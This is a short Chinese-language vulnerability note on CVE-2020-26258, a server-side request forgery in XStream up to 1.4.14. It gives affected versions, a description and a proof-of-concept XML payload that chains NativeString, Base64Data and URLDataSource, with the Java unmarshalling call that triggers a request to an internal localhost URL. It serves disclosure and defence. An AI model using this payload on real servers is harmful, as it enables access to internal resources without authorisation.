CVE-2020-26258-POC-SSRF 攻击.md

本文由 简悦 SimpRead 转码， 原文地址 mp.weixin.qq.com

                        

            CVE-2020-26258：可以使用 XStream 解组激活服务器端伪造请求，以从引用内部网或本地主机中资源的任意 URL 访问数据流。

受影响的版本：

            如果使用现成的版本，则直到 1.4.14（包括 1.4.14）的所有版本都将在 Java 15 以下的 Java 环境中运行。没有用户受到影响，他们遵循建议使用白名单设置 XStream 的安全框架。

漏洞描述：

            在解组时处理的流包含类型信息以重新创建以前写入的对象。因此，XStream 基于这些类型信息创建新的实例。攻击者可以操纵处理后的输入流并替换或注入对象，从而导致服务器端进行伪造请求。

POC：

该漏洞可能允许远程攻击者仅通过处理已处理的输入流来从不公开可用的内部资源中请求数据。

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='javax.activation.URLDataSource'>
            <url>http://localhost:8080/internal/:</url>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);

创建一个简单的 HashMap 并使用 XStream 将其封送为 XML。用以下代码片段替换 XML，然后用 XStream 重新解组它。

一旦解组 XML，就会执行有效负载并收集来自 URL 位置的数据。

注意，此示例使用 XML，但是可以针对任何受支持的格式（例如 JSON）执行攻击。

请参考：

https://x-stream.github.io/CVE-2020-26258.html